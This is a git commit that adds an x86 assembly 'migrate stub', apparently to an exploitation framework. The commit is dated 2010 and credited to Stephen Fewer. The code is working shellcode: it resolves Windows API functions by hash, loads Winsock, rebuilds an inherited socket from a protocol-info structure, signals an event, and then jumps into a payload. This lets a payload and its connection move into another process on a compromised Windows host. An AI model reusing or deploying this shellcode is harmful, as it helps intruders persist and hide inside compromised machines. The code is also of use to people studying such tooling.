Commit the new x86 migrate stub. Compatible with x86->x86 migration and x64->x86 migration, on NT4 and up (where applicable).

git-svn-id: file:///home/svn/framework3/trunk@8160 4d416f70-5f16-0410-b530-b9f4589650da
unstable
Stephen Fewer 2010-01-19 12:55:24 +00:00
parent c92d7b68bf
commit d032955959
1 changed files with 66 additions and 0 deletions

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;-----------------------------------------------------------------------------;
; Author: Stephen Fewer (stephen_fewer[at]harmonysecurity[dot]com)
; Compatible: Windows 7, 2008, Vista, 2003, XP, 2000, NT4
; Version: 1.0 (Jan 2010)
; Size: 219 bytes
; Build: >build.py migrate
;-----------------------------------------------------------------------------;
; typedef struct MigrateContext
; {
; union
; {
; HANDLE hEvent;
; BYTE bPadding1[8];
; } e;
; union
; {
; LPVOID lpPayload;
; BYTE bPadding2[8];
; } p;
; WSAPROTOCOL_INFO info;
; } MIGRATECONTEXT, * LPMIGRATECONTEXT;
[BITS 32]
[ORG 0]
cld ; Clear the direction flag.
mov esi, [esp+4] ; ESI is a pointer to our migration stub context
sub esp, 0x2000 ; Alloc some space on stack
call start ; Call start, this pushes the address of 'api_call' onto the stack.
delta: ;
%include "./src/block/block_api.asm" ;
start: ;
pop ebp ; Pop off the address of 'api_call' for calling later.
push 0x00003233 ; Push the bytes 'ws2_32',0,0 onto the stack.
push 0x5F327377 ; ...
push esp ; Push a pointer to the "ws2_32" string on the stack.
push 0x0726774C ; hash( "kernel32.dll", "LoadLibraryA" )
call ebp ; LoadLibraryA( "ws2_32" )
mov eax, 0x0190 ; EAX = sizeof( struct WSAData )
sub esp, eax ; alloc some space for the WSAData structure
push esp ; push a pointer to this stuct
push eax ; push the wVersionRequested parameter
push 0x006B8029 ; hash( "ws2_32.dll", "WSAStartup" )
call ebp ; WSAStartup( 0x0190, &WSAData );
push eax ; If we succeed, eax wil be zero, push zero for the flags param.
push eax ; Push null for reserved parameter
lea ebx, [esi+16] ;
push ebx ; We specify the WSAPROTOCOL_INFO structure from the MigrateContext
push eax ; We do not specify a protocol
inc eax ;
push eax ; Push SOCK_STREAM
inc eax ;
push eax ; Push AF_INET
push 0xE0DF0FEA ; hash( "ws2_32.dll", "WSASocketA" )
call ebp ; WSASocketA( AF_INET, SOCK_STREAM, 0, 0, 0, 0 );
xchg edi, eax ; Save the socket for later, we don't care about the value of eax after this
push dword [esi] ; Push the event
push 0x35269F1D ; hash( "kernel32.dll", "SetEvent" )
call ebp ; SetEvent( hEvent );
call dword [esi+8] ; Call the payload...